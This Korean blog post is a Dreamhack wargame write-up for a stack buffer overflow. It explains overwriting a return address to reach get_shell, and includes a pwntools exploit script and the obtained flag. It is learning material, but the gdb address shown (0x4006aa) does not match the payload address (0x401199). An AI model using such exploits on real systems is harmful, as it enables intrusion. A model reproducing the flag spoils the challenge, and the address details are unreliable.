드림핵 return address overwrite

오수진·2024년 10월 9일

시스템 해킹

목록 보기
4/23
post-thumbnail
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

문제에서 주어진 전체 코드다. scanf를 사용하여 입력한 문자열을 buf 에 넣는 프로그램이다.
scanf는 문자열 전체 크기를 설정하지 않기 때문에 buffer overflow 취약점이 발생할 수 있다.

main 함수를 disassemble 해봤다.

   0x00000000004011fd <+38>:    lea    rax,[rbp-0x30]
   0x0000000000401201 <+42>:    mov    rsi,rax
   0x0000000000401204 <+45>:    lea    rax,[rip+0xe09]        # 0x402014
   0x000000000040120b <+52>:    mov    rdi,rax
   0x000000000040120e <+55>:    mov    eax,0x0
   0x0000000000401213 <+60>:    call   0x401060 <__isoc99_scanf@plt>

scanf에 인자를 전달하는 부분이다. 값을 저장하기 위해 스택에 0x30만큼의 공간을 할당하고 있다.

이걸 바탕으로 스택 프레임을 그려봤다. 아 근데 오류가 있다 rbp+0x30이 아니라 rbp-0x30이다..

가장 아래에 있는 ret는 프로그램이 종료된 후 돌아가는 주소를 뜻한다.
SFP는 함수가 실행되기 전의 rbp 값이 저장된 위치다. 이 값을 저장해 둠으로써 함수가 끝난 후, 이전 스택 프레임으로 돌아갈 수 있다.
(SFP와 ret가 8바이트를 차지하는 이유는 64비트 시스템에서 사용되는 포인터와 주소를 저장하기 때문이다)

버퍼는 함수가 데이터를 저장하는 데 사용되는 공간이다. 아까 메인에서 스택에 0x30 만큼의 공간을 할당했으므로, 버퍼의 크기는 0x30이 된다.

. rbp (Base Pointer 또는 Frame Pointer):
함수 호출 시 '현재' 스택 프레임의 기준점 역할을 하는 레지스터이다. 함수가 끝나면 SFP에 저장된 값을 rbp로 복원한다.

스택은 위에서 아래로(큰 주소에서 작은 주소로) 자라나는 구조를 가진다. 즉, 새로운 데이터가 추가될 때마다 스택은 낮은 주소로 확장된다. 따라서 buf가 스택의 상단에 위치하고, 반환 주소(ret)가 스택의 하단에 위치한다.

void get_shell(){
   char *cmd = "/bin/sh";
   char *args[] = {cmd, NULL};

   execve(cmd, args, NULL);
}

셸을 실행해주는 get_shell() 함수가 있으므로, 이 함수의 주소로 main 함수의 반환 주소를 덮어서 셸을 획득할 수 있다.

pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>

get_shell()의 주소를 찾기 위해 gdb를 사용하였다.

./rao에 A 0x30개, b 0x08개, 리틀 엔디언 방식으로 바꾼 get_shell()의 주소를 전달하여 버퍼 오버플로우를 일으켰다. 그 결과, shell을 획득할 수 있었다.

이제 pwntool을 이용하여 이것을 서버에 전달해주자.

from pwn import *

p = remote("host3.dreamhack.games", 17129)
context.arch= "amd64"

payload = b'A'*0x30 + b'B'*0x8 + b'\x99\x11\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()

코드를 실행한 후 셸을 획득할 수 있었다.

$ ls -l
total 20
-r--r----- 1 root rao   37 Jul 23  2022 flag
-rwxr-xr-x 1 root rao 8536 Jul 23  2022 rao
-rwxr-xr-x 1 root rao   75 Jul 23  2022 run.sh
$ cat flag
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}

0개의 댓글